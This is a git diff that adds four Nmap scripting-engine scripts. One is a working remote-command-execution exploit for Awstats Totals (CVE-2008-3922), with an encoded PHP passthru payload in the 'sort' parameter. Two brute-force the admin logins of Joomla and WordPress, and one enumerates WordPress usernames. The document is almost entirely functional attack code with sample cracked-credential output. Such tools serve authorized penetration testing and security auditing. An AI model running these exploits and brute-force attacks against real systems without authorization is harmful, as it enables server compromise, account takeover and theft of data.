diff --git a/scripts/http-awstatstotals-exec.nse b/scripts/http-awstatstotals-exec.nse
new file mode 100644
index 000000000..e5eee9991
--- /dev/null
+++ b/scripts/http-awstatstotals-exec.nse
@@ -0,0 +1,130 @@
+description = [[
+ http-awstatstotals-exec exploits a remote code execution vulnerability in Awstats Totals 1.0 up to 1.14 and possibly other products based on it. [CVE: 2008-3922]
+
+This vulnerability can be exploited through the GET variable sort. The script queries the web server with the command payload encoded using PHP's chr() function:
+?sort={%24{passthru%28chr(117).chr(110).chr(97).chr(109).chr(101).chr(32).chr(45).chr(97)%29}}{%24{exit%28%29}}
+
+Common paths for Awstats Total:
+* /awstats/index.php
+* /awstatstotals/index.php
+* /awstats/awstatstotals.php
+
+References:
+* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3922
+* http://www.exploit-db.com/exploits/17324/
+]]
+
+---
+-- @usage
+-- nmap -sV --script http-awstatstotals-exec.nse --script-args 'http-awstatstotals-exec.cmd="uname -a", http-awstatstotals-exec.uri=/awstats/index.php'
+-- nmap -sV --script http-awstatstotals-exec.nse
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 80/tcp open http syn-ack
+-- | http-awstatstotals-exec.nse:
+-- |_Output for 'uname -a':Linux 2.4.19 #1 Son Apr 14 09:53:28 CEST 2002 i686 GNU/Linux
+--
+-- @args http-awstatstotals-exec.uri Awstats Totals URI including path. Default: /index.php
+-- @args http-awstatstotals-exec.cmd Command to execute. Default: whoami
+-- @args http-awstatstotals-exec.outfile Output file. If set it saves the output in this file.
+---
+-- Other useful args when running this script:
+-- http.useragent - User Agent to use in GET request
+--
+
+author = "Paulino Calderon"
+license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
+categories = {"vuln", "intrusive", "exploit"}
+
+require "shortport"
+require "http"
+require "url"
+
+portrule = shortport.http
+
+--default values
+local DEFAULT_CMD = "whoami"
+local DEFAULT_URI = "/index.php"
+
+---
+--Writes string to file
+-- @param filename Filename to write
+-- @param content Content string
+-- @return boolean status
+-- @return string error
+--Taken from: hostmap.nse
+local function write_file(filename, contents)
+ local f, err = io.open(filename, "w")
+ if not f then
+ return f, err
+ end
+ f:write(contents)
+ f:close()
+ return true
+end
+
+---
+--Checks if Awstats Totals installation seems to be there
+-- @param host Host table
+-- @param port Port table
+-- @param path Path pointing to AWStats Totals
+-- @return true if awstats totals is found
+local function check_installation(host, port, path)
+ local check_req = http.get(host, port, path)
+ if not(http.response_contains(check_req, "AWStats")) then
+ return false
+ end
+ return true
+end
+
+---
+--MAIN
+---
+action = function(host, port)
+ local output = {}
+ local uri = stdnse.get_script_args("http-awstatstotals-exec.uri") or DEFAULT_URI
+ local cmd = stdnse.get_script_args("http-awstatstotals-exec.cmd") or DEFAULT_CMD
+ local out = stdnse.get_script_args("http-awstatstotals-exec.outfile")
+
+ --check for awstats signature
+ local awstats_check = check_installation(host, port, uri)
+ if not(awstats_check) then
+ stdnse.print_debug(1, "%s:This does not look like Awstats Totals. Quitting.", SCRIPT_NAME)
+ return
+ end
+
+ --Encode payload using PHP's chr()
+ local encoded_payload = ""
+ cmd:gsub(".", function(c) encoded_payload = encoded_payload .."chr("..string.byte(c)..")." end)
+ if string.sub(encoded_payload, #encoded_payload) == "." then
+ encoded_payload = string.sub(encoded_payload, 1, #encoded_payload-1)
+ end
+ local stealth_payload = "?sort={%24{passthru%28"..encoded_payload.."%29}}{%24{exit%28%29}}"
+
+ --set payload and send request
+ local req = http.get(host, port, uri .. stealth_payload)
+ if req.status and req.status == 200 then
+ output[#output+1] = string.format("\nOutput for '%s':%s", cmd, req.body)
+
+ --if out set, save output to file
+ if out then
+ local status, err = write_file(out, req.body)
+ if status then
+ output[#output+1] = string.format("Output saved to %s\n", out)
+ else
+ output[#output+1] = string.format("Error saving output to %s: %s\n", out, err)
+ end
+ end
+
+ else
+ if nmap.verbosity()>= 2 then
+ output[#output+1] = "[Error] Request did not return 200. Make sure your URI value is correct. A WAF might be blocking your request"
+ end
+ end
+
+ --output
+ if #output>0 then
+ return stdnse.strjoin("\n", output)
+ end
+end
diff --git a/scripts/http-joomla-brute.nse b/scripts/http-joomla-brute.nse
new file mode 100644
index 000000000..075f81413
--- /dev/null
+++ b/scripts/http-joomla-brute.nse
@@ -0,0 +1,146 @@
+description = [[
+Performs a brute force password attack against Joomla installations.
+
+This script initially reads the session cookie and parses the security token to perfom the brute force password auditing.
+It uses the unpwdb and brute libraries to perform password guessing. Any successful guesses are stored using the
+credentials library.
+
+Joomla's default uri and form names:
+* Default uri:/administrator/index.php
+* Default uservar: username
+* Default passvar: passwd
+]]
+
+---
+-- @usage
+-- nmap -sV --script http-joomla-brute
+-- --script-args 'userdb=users.txt,passdb=passwds.txt,http-joomla-brute.hostname=domain.com,
+-- http-joomla-brute.threads=3,brute.firstonly=true'
+-- nmap -sV --script http-joomla-brute
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 80/tcp open http syn-ack
+-- | http-joomla-brute:
+-- | Accounts
+-- | xdeadbee:i79eWBj07g => Login correct
+-- | Statistics
+-- |_ Perfomed 499 guesses in 301 seconds, average tps: 0
+--
+-- @args http-joomla-brute.uri Path to authentication script. Default: /administrator/index.php
+-- @args http-joomla-brute.hostname Virtual Hostname Header
+-- @args http-joomla-brute.uservar sets the http-variable name that holds the
+-- username used to authenticate. Default: username
+-- @args http-joomla-brute.passvar sets the http-variable name that holds the
+-- password used to authenticate. Default: passwd
+-- @args http-joomla-brute.threads sets the number of threads. Default: 3
+--
+-- Other useful arguments when using this script are:
+-- * http.useragent = String - User Agent used in HTTP requests
+-- * brute.firstonly = Boolean - Stop attack when the first credentials are found
+-- * brute.mode = user/creds/pass - Username password iterator
+-- * passdb = String - Path to password list
+-- * userdb = String - Path to user list
+--
+--
+-- Based on Patrik Karlsson's http-form-brute
+--
+
+author = "Paulino Calderon"
+license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
+categories = {"intrusive", "auth"}
+
+require 'shortport'
+require 'http'
+require 'brute'
+require 'creds'
+
+portrule = shortport.http
+
+local DEFAULT_JOOMLA_LOGIN_URI = "/administrator/index.php"
+local DEFAULT_JOOMLA_USERVAR = "username"
+local DEFAULT_JOOMLA_PASSVAR = "passwd"
+local DEFAULT_THREAD_NUM = 3
+
+local security_token
+local session_cookie_str
+
+---
+--This class implements the Brute library (http://nmap.org/nsedoc/lib/brute.html)
+---
+Driver = {
+ new = function(self, host, port, options)
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ o.host = stdnse.get_script_args('http-joomla-brute.hostname') or host
+ o.port = port
+ o.uri = stdnse.get_script_args('http-joomla-brute.uri') or DEFAULT_JOOMLA_LOGIN_URI
+ o.options = options
+ return o
+ end,
+
+ connect = function( self )
+ return true
+ end,
+
+ login = function( self, username, password )
+ stdnse.print_debug(2, "HTTP POST %s%s with security token %s\n", self.host, self.uri, security_token)
+ local response = http.post( self.host, self.port, self.uri, { cookies = session_cookie_str, no_cache = true, no_cache_body = true }, nil,
+ { [self.options.uservar] = username, [self.options.passvar] = password,
+ [security_token] = 1, lang = "", option = "com_login", task = "login" } )
+
+ if response.body and not( response.body:match('name=[\'"]*'..self.options.passvar ) ) then
+ stdnse.print_debug(2, "Response:\n%s", response.body)
+ local c = creds.Credentials:new(SCRIPT_NAME, self.host, self.port )
+ c:add(username, password, creds.State.VALID )
+ return true, brute.Account:new( username, password, "OPEN")
+ end
+ return false, brute.Error:new( "Incorrect password" )
+ end,
+
+ disconnect = function( self )
+ return true
+ end,
+
+ check = function( self )
+ local response = http.get( self.host, self.port, self.uri )
+ stdnse.print_debug(1, "HTTP GET %s%s", stdnse.get_hostname(self.host),self.uri)
+ -- Check if password field is there
+ if ( response.status == 200 and response.body:match('type=[\'"]password[\'"]')) then
+ stdnse.print_debug(1, "Initial check passed. Launching brute force attack")
+ session_cookie_str = response.cookies[1]["name"].."="..response.cookies[1]["value"];
+ if response.body then
+ _, _, security_token = string.find(response.body, '')
+ end
+ if security_token then
+ stdnse.print_debug(2, "Security Token found:%s", security_token)
+ else
+ stdnse.print_debug(2, "The security token was not found.")
+ return false
+ end
+
+ return true
+ else
+ stdnse.print_debug(1, "Initial check failed. Password field wasn't found")
+ end
+ return false
+ end
+
+}
+---
+--MAIN
+---
+action = function( host, port )
+ local status, result, engine
+ local uservar = stdnse.get_script_args('http-joomla-brute.uservar') or DEFAULT_JOOMLA_USERVAR
+ local passvar = stdnse.get_script_args('http-joomla-brute.passvar') or DEFAULT_JOOMLA_PASSVAR
+ local thread_num = stdnse.get_script_args("http-joomla-brute.threads") or DEFAULT_THREAD_NUM
+
+ engine = brute.Engine:new( Driver, host, port, { uservar = uservar, passvar = passvar } )
+ engine:setMaxThreads(thread_num)
+ engine.options.script_name = SCRIPT_NAME
+ status, result = engine:start()
+
+ return result
+end
diff --git a/scripts/http-wordpress-brute.nse b/scripts/http-wordpress-brute.nse
new file mode 100644
index 000000000..0b70d2110
--- /dev/null
+++ b/scripts/http-wordpress-brute.nse
@@ -0,0 +1,134 @@
+description = [[
+Performs a brute force password attack against Wordpress installations.
+
+This script uses the unpwdb and brute libraries to perform password guessing. Any successful guesses are
+stored using the credentials library.
+
+Wordpress default uri and form names:
+* Default uri:wp-login.php
+* Default uservar: log
+* Default passvar: pwd
+]]
+
+---
+-- @usage
+-- nmap -sV --script http-wordpress-brute
+-- nmap -sV --script http-wordpress-brute
+-- --script-args 'userdb=users.txt,passdb=passwds.txt,http-wordpress-brute.hostname=domain.com,
+-- http-wordpress-brute.threads=3,brute.firstonly=true'
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 80/tcp open http syn-ack
+-- | http-wordpress-brute:
+-- | Accounts
+-- | 0xdeadb33f:god => Login correct
+-- | Statistics
+-- |_ Perfomed 103 guesses in 17 seconds, average tps: 6
+--
+-- @args http-wordpress-brute.uri points to the file 'wp-login.php'. Default /wp-login.php
+-- @args http-wordpress-brute.hostname sets the host header in case of virtual
+-- hosting
+-- @args http-wordpress-brute.uservar sets the http-variable name that holds the
+-- username used to authenticate. Default: log
+-- @args http-wordpress-brute.passvar sets the http-variable name that holds the
+-- password used to authenticate. Default: pwd
+-- @args http-wordpress-brute.threads sets the number of threads. Default: 3
+--
+-- Other useful arguments when using this script are:
+-- * http.useragent = String - User Agent used in HTTP requests
+-- * brute.firstonly = Boolean - Stop attack when the first credentials are found
+-- * brute.mode = user/creds/pass - Username password iterator
+-- * passdb = String - Path to password list
+-- * userdb = String - Path to user list
+--
+-- Based on Patrik Karlsson's http-form-brute
+--
+
+author = "Paulino Calderon"
+license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
+categories = {"intrusive", "auth"}
+
+require 'shortport'
+require 'http'
+require 'brute'
+require 'creds'
+
+portrule = shortport.http
+
+local DEFAULT_WP_URI = "/wp-login.php"
+local DEFAULT_WP_USERVAR = "log"
+local DEFAULT_WP_PASSVAR = "pwd"
+local DEFAULT_THREAD_NUM = 3
+
+---
+--This class implements the Driver class from the Brute library
+---
+Driver = {
+ new = function(self, host, port, options)
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ o.host = stdnse.get_script_args('http-wordpress-brute.hostname') or host
+ o.port = port
+ o.uri = stdnse.get_script_args('http-wordpress-brute.uri') or DEFAULT_WP_URI
+ o.options = options
+ return o
+ end,
+
+ connect = function( self )
+ -- This will cause problems, as ther is no way for us to "reserve"
+ -- a socket. We may end up here early with a set of credentials
+ -- which won't be guessed until the end, due to socket exhaustion.
+ return true
+ end,
+
+ login = function( self, username, password )
+ -- Note the no_cache directive
+ stdnse.print_debug(2, "HTTP POST %s%s\n", self.host, self.uri)
+ local response = http.post( self.host, self.port, self.uri, { no_cache = true }, nil, { [self.options.uservar] = username, [self.options.passvar] = password } )
+ -- This redirect is taking us to /wp-admin
+ if response.status == 302 then
+ local c = creds.Credentials:new( SCRIPT_NAME, self.host, self.port )
+ c:add(username, password, creds.State.VALID )
+ return true, brute.Account:new( username, password, "OPEN")
+ end
+
+ return false, brute.Error:new( "Incorrect password" )
+ end,
+
+ disconnect = function( self )
+ return true
+ end,
+
+ check = function( self )
+ local response = http.get( self.host, self.port, self.uri )
+ stdnse.print_debug(1, "HTTP GET %s%s", stdnse.get_hostname(self.host),self.uri)
+ -- Check if password field is there
+ if ( response.status == 200 and response.body:match('type=[\'"]password[\'"]')) then
+ stdnse.print_debug(1, "Initial check passed. Launching brute force attack")
+ return true
+ else
+ stdnse.print_debug(1, "Initial check failed. Password field wasn't found")
+ end
+
+ return false
+ end
+
+}
+---
+--MAIN
+---
+action = function( host, port )
+ local status, result, engine
+ local uservar = stdnse.get_script_args('http-wordpress-brute.uservar') or DEFAULT_WP_USERVAR
+ local passvar = stdnse.get_script_args('http-wordpress-brute.passvar') or DEFAULT_WP_PASSVAR
+ local thread_num = stdnse.get_script_args("http-wordpress-brute.threads") or DEFAULT_THREAD_NUM
+
+ engine = brute.Engine:new( Driver, host, port, { uservar = uservar, passvar = passvar } )
+ engine:setMaxThreads(thread_num)
+ engine.options.script_name = SCRIPT_NAME
+ status, result = engine:start()
+
+ return result
+end
diff --git a/scripts/http-wp-enum.nse b/scripts/http-wp-enum.nse
new file mode 100644
index 000000000..1bf2ff130
--- /dev/null
+++ b/scripts/http-wp-enum.nse
@@ -0,0 +1,137 @@
+description = [[
+http-wp-enum enumerates usernames in Wordpress installations by exploiting an information disclosure vulnerability
+existing in versions 2.6, 3.1, 3.1.1, 3.1.3 and 3.2-beta2 and possibly others.
+
+Original advisory:
+* http://www.talsoft.com.ar/index.php/research/security-advisories/wordpress-user-id-and-user-name-disclosure
+]]
+
+---
+-- @usage
+-- nmap -p80 --script http-wp-enum
+-- nmap -sV --script http-wp-enum --script-args limit=50
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 80/tcp open http syn-ack
+-- | http-wp-enum:
+-- | Username found: admin
+-- | Username found: mauricio
+-- | Username found: cesar
+-- | Username found: lean
+-- | Username found: alex
+-- | Username found: ricardo
+-- |_Search stopped at ID #25. Increase the upper limit if necessary with 'http-wp-enum.limit'
+--
+-- @args http-wp-enum.limit Upper limit for ID search. Default: 25
+-- @args http-wp-enum.basepath Base path to Wordpress. Default: /
+-- @args http-wp-enum.out If set it saves the username list in this file.
+---
+
+author = "Paulino Calderon"
+license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
+categories = {"discovery", "auth", "intrusive", "vuln"}
+
+require "shortport"
+require "http"
+
+portrule = shortport.http
+
+---
+-- Returns the username extracted from the url corresponding to the id passed
+-- If user id doesn't exists returns false
+-- @param host Host table
+-- @param port Port table
+-- @param path Base path to WP
+-- @param id User id
+-- @return false if not found otherwise it returns the username
+---
+local function get_wp_user(host, port, path, id)
+ stdnse.print_debug(2, "%s: Trying to get username with id %s", SCRIPT_NAME, id)
+ local req = http.get(host, port, path.."?author="..id, { no_cache = true})
+ if req.status then
+ stdnse.print_debug(1, "%s: User id #%s returned status %s", SCRIPT_NAME, id, req.status)
+ if req.status == 301 then
+ local _, _, user = string.find(req.header.location, 'http://.*/.*/(.*)/')
+ return user
+ end
+ end
+ return false
+end
+
+---
+--Returns true if WP installation exists.
+--We assume an installation exists if wp-login.php is found
+--@param host Host table
+--@param port Port table
+--@param path Path to WP
+--@return True if WP was found
+--
+local function check_wp(host, port, path)
+ stdnse.print_debug(2, "%s:Checking %swp-login.php ", SCRIPT_NAME, path)
+ local req = http.get(host, port, path.."wp-login.php", {no_cache=true})
+ if req.status and req.status == 200 then
+ return true
+ end
+ return false
+end
+
+---
+--Writes string to file
+--Taken from: hostmap.nse
+--@param filename Target filename
+--@param contents String to save
+--@return true when successful
+local function write_file(filename, contents)
+ local f, err = io.open(filename, "w")
+ if not f then
+ return f, err
+ end
+ f:write(contents)
+ f:close()
+ return true
+end
+
+
+---
+--MAIN
+---
+action = function(host, port)
+ local basepath = stdnse.get_script_args("http-wp-enum.basepath") or "/"
+ local limit = stdnse.get_script_args("http-wp-enum.limit") or 25
+ local filewrite = stdnse.get_script_args("http-wp-enum.out")
+ local output = {""}
+ local users = {}
+ --First, we check this is WP
+ if not(check_wp(host, port, basepath)) then
+ if nmap.verbosity() >= 2 then
+ return "[Error] Wordpress installation was not found. We couldn't find wp-login.php"
+ else
+ return
+ end
+ end
+
+ --Incrementing ids to enum users
+ for i=1, tonumber(limit) do
+ local user = get_wp_user(host, port, basepath, i)
+ if user then
+ stdnse.print_debug(1, "%s: Username found -> %s", SCRIPT_NAME, user)
+ output[#output+1] = string.format("Username found: %s", user)
+ users[#users+1] = user
+ end
+ end
+
+ if filewrite and #users>0 then
+ local status, err = write_file(filewrite, stdnse.strjoin("\n", users))
+ if status then
+ output[#output+1] = string.format("Users saved to %s\n", filewrite)
+ else
+ output[#output+1] = string.format("Error saving %s: %s\n", filewrite, err)
+ end
+ end
+
+ if #output > 1 then
+ output[#output+1] = string.format("Search stopped at ID #%s. Increase the upper limit if necessary with 'http-wp-enum.limit'", limit)
+ return stdnse.strjoin("\n", output)
+ end
+end
diff --git a/scripts/script.db b/scripts/script.db
index ceca5bd80..a4407b5ab 100644
--- a/scripts/script.db
+++ b/scripts/script.db
@@ -69,6 +69,7 @@ Entry { filename = "hddtemp-info.nse", categories = { "default", "discovery", "s
Entry { filename = "hostmap.nse", categories = { "discovery", "external", "intrusive", } }
Entry { filename = "http-affiliate-id.nse", categories = { "discovery", "safe", } }
Entry { filename = "http-auth.nse", categories = { "auth", "default", "safe", } }
+Entry { filename = "http-awstatstotals-exec.nse", categories = { "exploit", "intrusive", "vuln", } }
Entry { filename = "http-axis2-dir-traversal.nse", categories = { "exploit", "intrusive", "vuln", } }
Entry { filename = "http-barracuda-dir-traversal.nse", categories = { "auth", "exploit", "intrusive", } }
Entry { filename = "http-brute.nse", categories = { "auth", "intrusive", } }
@@ -82,6 +83,7 @@ Entry { filename = "http-form-brute.nse", categories = { "auth", "intrusive", }
Entry { filename = "http-google-malware.nse", categories = { "discovery", "external", "malware", "safe", } }
Entry { filename = "http-headers.nse", categories = { "discovery", "safe", } }
Entry { filename = "http-iis-webdav-vuln.nse", categories = { "intrusive", "vuln", } }
+Entry { filename = "http-joomla-brute.nse", categories = { "auth", "intrusive", } }
Entry { filename = "http-litespeed-sourcecode-download.nse", categories = { "exploit", "intrusive", "vuln", } }
Entry { filename = "http-majordomo2-dir-traversal.nse", categories = { "exploit", "intrusive", "vuln", } }
Entry { filename = "http-malware-host.nse", categories = { "malware", "safe", } }
@@ -96,6 +98,8 @@ Entry { filename = "http-userdir-enum.nse", categories = { "discovery", "intrusi
Entry { filename = "http-vhosts.nse", categories = { "discovery", "intrusive", } }
Entry { filename = "http-vmware-path-vuln.nse", categories = { "default", "safe", "vuln", } }
Entry { filename = "http-waf-detect.nse", categories = { "discovery", "intrusive", } }
+Entry { filename = "http-wordpress-brute.nse", categories = { "auth", "intrusive", } }
+Entry { filename = "http-wp-enum.nse", categories = { "auth", "discovery", "intrusive", "vuln", } }
Entry { filename = "http-wp-plugins.nse", categories = { "discovery", "intrusive", } }
Entry { filename = "iax2-version.nse", categories = { "version", } }
Entry { filename = "imap-brute.nse", categories = { "auth", "intrusive", } }